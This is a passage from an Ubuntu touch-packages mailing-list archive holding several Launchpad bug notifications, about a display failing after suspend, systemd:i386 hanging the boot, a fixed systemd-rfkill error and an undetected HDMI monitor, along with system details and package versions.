BOOT_IMAGE=/boot/vmlinuz-5.4.0-70-generic root=UUID=a6081f39-700f-4698-bda4-464e53d9d229 ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display UpgradeStatus: Upgraded to focal on 2020-06-01 (314 days ago) dmi.bios.date: 09/13/2017 dmi.bios.vendor: LENOVO dmi.bios.version: JBET66WW (1.30 ) dmi.board.asset.tag: Not Available dmi.board.name: 20BXCTO1WW dmi.board.vendor: LENOVO dmi.board.version: SDK0J40697 WIN dmi.chassis.asset.tag: No Asset Information dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: None dmi.modalias: dmi:bvnLENOVO:bvrJBET66WW(1.30):bd09/13/2017:svnLENOVO:pn20BXCTO1WW:pvrThinkPadT450s:rvnLENOVO:rn20BXCTO1WW:rvrSDK0J40697WIN:cvnLENOVO:ct10:cvrNone: dmi.product.family: ThinkPad T450s dmi.product.name: 20BXCTO1WW dmi.product.sku: LENOVO_MT_20BX_BU_Think_FM_ThinkPad T450s dmi.product.version: ThinkPad T450s dmi.sys.vendor: LENOVO version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.102-1ubuntu1~20.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx 20.2.6-0ubuntu0.20.04.1 version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.2~20.04.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200226-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug focal ubuntu -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1923381 Title: regression: no display when waking from suspend Status in xorg package in Ubuntu: New Bug description: I have two Lenovo T450s laptops running Ubuntu 20.10. A few weeks ago, suspend stopped working properly: with an external monitor, the external monitor no longer registers the connection when waking from suspend. Without, the laptop screen is black and the machine unresponsive until hard-rebooted, when waking from suspend ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.4.0-70.78-generic 5.4.94 Uname: Linux 5.4.0-70-generic x86_64 ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: skip CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Sun Apr 11 17:53:01 2021 DistUpgraded: 2020-06-01 15:46:34,953 ERROR got error from PostInstallScript ./xorg_fix_proprietary.py (g-exec-error-quark: Failed to execute child process “./xorg_fix_proprietary.py” (No such file or directory) (8)) DistroCodename: focal DistroVariant: ubuntu DkmsStatus: virtualbox, 6.1.16, 5.4.0-66-generic, x86_64: installed virtualbox, 6.1.16, 5.4.0-67-generic, x86_64: installed virtualbox, 6.1.16, 5.4.0-70-generic, x86_64: installed EcryptfsInUse: Yes ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation HD Graphics 5500 [8086:1616] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Lenovo HD Graphics 5500 [17aa:5036] InstallationDate: Installed on 2019-01-24 (808 days ago) InstallationMe
[Touch-packages] [Bug 1923377] [NEW] Automatically installed systemd:i386 makes graphical boot hang
Public bug reported: 1) Description:Ubuntu 20.04.2 LTS Release:20.04 2) systemd:i386 (245.4-4ubuntu3.6, automatic) systemd:amd64 (245.4-4ubuntu3.6, automatic) 3) I expected that letting the system install/upgrade packages it suggested would cause no harm. 4) Harm was caused. Graphical boot got stuck after the grub menu. But I could access virtual console be pressing alt-F1. I accepted the upgrade on Saturday, on Sunday, when tried to boot the machine, the machine hung up. I suspect that one of the problematic packages was systemd:i386. I have no idea why a 32bit version of this got installed, and other 32bit versions as well. I attached an excerpt from /var/log/apt/history.log showing the problematic upgrade. One of the results was that the binaries /usr/bin/systemctl and /lib/systemd/systemd were 32bit executables, and they could not load appropriate the pam modules (which were still 64bit). But as I could log in from the virtual terminal just fine, this showed that pam itself was working, systemd was the problem. After long struggle I managed to fix this by reinstalling systemd, which overwrote the above binaries with their 64bit versions. Removing systemd:i386 would have deleted systemd altogether. After that I purged various 32bit packages I suspected were causing problems. And I installed the packages removed by the upgrade on Saturday, such as snapd. Now the system boots up in graphical mode just fine. But why did the 32bit versions of systemd etc got installed automatically? ** Affects: systemd (Ubuntu) Importance: Undecided Status: New ** Attachment added: "Part from /var/log/apt/history.log containing the problematic update" https://bugs.launchpad.net/bugs/1923377/+attachment/5486631/+files/short-apt-history.log -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1923377 Title: Automatically installed systemd:i386 makes graphical boot hang Status in systemd package in Ubuntu: New Bug description: 1) Description: Ubuntu 20.04.2 LTS Release: 20.04 2) systemd:i386 (245.4-4ubuntu3.6, automatic) systemd:amd64 (245.4-4ubuntu3.6, automatic) 3) I expected that letting the system install/upgrade packages it suggested would cause no harm. 4) Harm was caused. Graphical boot got stuck after the grub menu. But I could access virtual console be pressing alt-F1. I accepted the upgrade on Saturday, on Sunday, when tried to boot the machine, the machine hung up. I suspect that one of the problematic packages was systemd:i386. I have no idea why a 32bit version of this got installed, and other 32bit versions as well. I attached an excerpt from /var/log/apt/history.log showing the problematic upgrade. One of the results was that the binaries /usr/bin/systemctl and /lib/systemd/systemd were 32bit executables, and they could not load appropriate the pam modules (which were still 64bit). But as I could log in from the virtual terminal just fine, this showed that pam itself was working, systemd was the problem. After long struggle I managed to fix this by reinstalling systemd, which overwrote the above binaries with their 64bit versions. Removing systemd:i386 would have deleted systemd altogether. After that I purged various 32bit packages I suspected were causing problems. And I installed the packages removed by the upgrade on Saturday, such as snapd. Now the system boots up in graphical mode just fine. But why did the 32bit versions of systemd etc got installed automatically? To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1923377/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1921696] Re: Failed to start Load/Save RF Kill Switch Status
This bug was fixed in the package systemd - 247.3-3ubuntu3 --- systemd (247.3-3ubuntu3) hirsute; urgency=medium * Make systemd-rfkill work with latest Linux kernels (LP: #1921696) Files: - debian/patches/lp1921696/rfkill-improve-error-logging.patch - debian/patches/lp1921696/rfkill-use-short-writes-and-accept-long-reads.patch https://git.launchpad.net/~ubuntu-core-dev/ubuntu/+source/systemd/commit/?id=7fc7bece33c21b155822ef6640adffb0e703da50 * LoadCredentials: do not assert on invalid syntax File: debian/patches/LoadCredentials-do-not-assert-on-invalid-syntax.patch https://git.launchpad.net/~ubuntu-core-dev/ubuntu/+source/systemd/commit/?id=5e7f913d0fd36b0800a8d99f809f61d263200343 -- Balint Reczey Wed, 07 Apr 2021 17:57:49 +0200 ** Changed in: systemd (Ubuntu) Status: In Progress => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1921696 Title: Failed to start Load/Save RF Kill Switch Status Status in systemd package in Ubuntu: Fix Released Bug description: When I boot the system I get these lög messages - Failed to start Load/Save RF Kill Switch Statu - A start job for unit systemd-rfkill.service has failed and with sender systemd-rfkil Read event structure of invalid size Also happens on an Ubuntu system on the same computer. System details p-i@pi-tuf-b550m-wifi:~$ inxi -Fz System:Kernel: 5.11.0-11-generic x86_64 bits: 64 Desktop: Cinnamon 4.8.6 Distro: Ubuntu 21.04 (Hirsute Hippo) Machine: Type: Desktop System: ASUS product: N/A v: N/A serial: Mobo: ASUSTeK model: TUF GAMING B550M-PLUS (WI-FI) v: Rev X.0x serial: UEFI: American Megatrends v: 1804 date: 02/02/2021 CPU: Info: 6-Core model: AMD Ryzen 5 5600X bits: 64 type: MT MCP L2 cache: 3 MiB Speed: 2509 MHz min/max: 2200/4791 MHz Core speeds (MHz): 1: 2509 2: 2237 3: 2858 4: 2236 5: 2235 6: 2238 7: 2798 8: 2239 9: 2238 10: 2233 11: 2236 12: 2234 Graphics: Device-1: Advanced Micro Devices [AMD/ATI] Navi 10 [Radeon RX 5600 OEM/5600 XT / 5700/5700 XT] driver: amdgpu v: kernel Display: x11 server: X.Org 1.20.10 driver: loaded: amdgpu,ati unloaded: fbdev,modesetting,radeon,vesa resolution: 2560x1440~60Hz OpenGL: renderer: AMD Radeon RX 5700 (NAVI10 DRM 3.40.0 5.11.0-11-generic LLVM 11.0.1) v: 4.6 Mesa 21.0.1 Audio: Device-1: Advanced Micro Devices [AMD/ATI] Navi 10 HDMI Audio driver: snd_hda_intel Device-2: Advanced Micro Devices [AMD] Starship/Matisse HD Audio driver: snd_hda_intel Device-3: Logitech Webcam C250 type: USB driver: snd-usb-audio,uvcvideo Sound Server: ALSA v: k5.11.0-11-generic Network: Device-1: Intel Wi-Fi 6 AX200 driver: iwlwifi IF: wlp6s0 state: down mac: Device-2: Realtek RTL8125 2.5GbE driver: r8169 IF: enp7s0 state: up speed: 1000 Mbps duplex: full mac: IF-ID-1: vmnet1 state: unknown speed: N/A duplex: N/A mac: IF-ID-2: vmnet8 state: unknown speed: N/A duplex: N/A mac: Bluetooth: Device-1: Intel AX200 Bluetooth type: USB driver: btusb Report: ID: hci0 state: up running pscan bt-v: 3.0 address: Drives:Local Storage: total: 1.36 TiB used: 97.88 GiB (7.0%) ID-1: /dev/nvme0n1 vendor: Corsair model: Force MP600 size: 465.76 GiB ID-2: /dev/nvme1n1 vendor: Kingston model: SA2000M8500G size: 465.76 GiB ID-3: /dev/sda vendor: Samsung model: SSD 860 EVO 500GB size: 465.76 GiB Partition: ID-1: / size: 456.96 GiB used: 97.84 GiB (21.4%) fs: ext4 dev: /dev/nvme0n1p2 ID-2: /boot/efi size: 511 MiB used: 33.3 MiB (6.5%) fs: vfat dev: /dev/nvme0n1p1 Swap: ID-1: swap-1 type: file size: 2 GiB used: 0 KiB (0.0%) file: /swapfile Sensors: System Temperatures: cpu: 35.9 C mobo: 39.0 C gpu: amdgpu temp: 40.0 C Fan Speeds (RPM): fan-1: 698 fan-2: 937 fan-3: 711 fan-7: 931 gpu: amdgpu fan: 0 Info: Processes: 372 Uptime: 13m Memory: 15.54 GiB used: 1.88 GiB (12.1%) Shell: Bash inxi: 3.3.01 p-i@pi-tuf-b550m-wifi:~$ ProblemType: Bug DistroRelease: Ubuntu 21.04 Package: systemd 247.3-3ubuntu1 ProcVersionSignature: Ubuntu 5.11.0-11.12-generic 5.11.0 Uname: Linux 5.11.0-11-generic x86_64 ApportVersion: 2.20.11-0ubuntu61 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: X-Cinnamon Date: Mon Mar 29 10:12:21 2021 InstallationDate: Installed on 2021-02-05 (51 days ago) InstallationMedia: Ubuntu 21.04 "Hirsute Hippo" - Alpha amd64 (20210203) MachineType: ASUS System Product Name ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.11.0-11-generic root=UUID=d37b6e75-43a0-4e56-85c1-4a6ef8e1ffc9 ro acpi_enforce_resour
[Touch-packages] [Bug 1923318] Re: Ubuntu does not detect video output devices
Please run the following command to collect the relevant information: apport-collect 1923318 ** Package changed: ubuntu => xorg (Ubuntu) ** Changed in: xorg (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1923318 Title: Ubuntu does not detect video output devices Status in xorg package in Ubuntu: Incomplete Bug description: Firstly I'd like to apologize as I am a novice Ubuntu user and I am unsure as to which information I should include within this report. That being said, I have installed linux 20.04-- my system: cpu: ryzen 9 3900x, gpu: radeon rx6800. Ubuntu is detecting default display at correct resolution, which is connected via DisplayPort on rx6800 gpu. However, my second monitor, LGCX 4k OLED connected via HDMI is not detected in display properties window. xrandr does not detect outputs other than default display. I have run apt-get update and apt-get upgrade, restarted, unplugged and plugged displays back in, tried installing amd-gpu drivers separately which were downloaded from official website, i have tried updating kernal, along with many other troubleshooting strategies. I believe this to be some sort of software issue. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1923318/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1923318] [NEW] Ubuntu does not detect video output devices
You have been subscribed to a public bug: Firstly I'd like to apologize as I am a novice Ubuntu user and I am unsure as to which information I should include within this report. That being said, I have installed linux 20.04-- my system: cpu: ryzen 9 3900x, gpu: radeon rx6800. Ubuntu is detecting default display at correct resolution, which is connected via DisplayPort on rx6800 gpu. However, my second monitor, LGCX 4k OLED connected via HDMI is not detected in display properties window. xrandr does not detect outputs other than default display. I have run apt-get update and apt-get upgrade, restarted, unplugged and plugged displays back in, tried installing amd-gpu drivers separately which were downloaded from official website, i have tried updating kernal, along with many other troubleshooting strategies. I believe this to be some sort of software issue. ** Affects: xorg (Ubuntu) Importance: Undecided Status: Incomplete ** Tags: amd bot-comment display displayport dp hdmi radeon ubuntu -- Ubuntu does not detect video output devices https://bugs.launchpad.net/bugs/1923318 You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp